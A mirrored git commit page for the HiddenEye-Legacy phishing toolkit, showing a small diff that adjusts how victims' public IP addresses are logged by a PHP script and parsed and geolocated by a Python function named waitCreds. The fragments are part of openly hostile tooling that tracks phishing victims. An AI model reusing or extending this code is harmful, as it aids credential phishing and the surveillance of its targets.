mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
commit
616b79994f
|
@ -148,7 +148,7 @@ def waitCreds():
|
|||
with open('Server/www/ip.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
ip = re.match('victim public ip: (.*)', lines).group(1)
|
||||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||
ipinfo = json.loads(resp)
|
||||
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
|
||||
|
@ -164,7 +164,6 @@ def waitCreds():
|
|||
|
||||
creds.close()
|
||||
|
||||
|
||||
|
||||
def runPEnv():
|
||||
system('clear')
|
||||
|
|
|
@ -17,7 +17,7 @@ $browser = $_SERVER['HTTP_USER_AGENT'];
|
|||
|
||||
|
||||
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
||||
$victim = "victim public ip: ";
|
||||
$victim = "Victim Public IP: ";
|
||||
$fp = fopen($file, 'a');
|
||||
|
||||
fwrite($fp, $victim);
|
||||
|
|
Loading…
Reference in New Issue
Block a user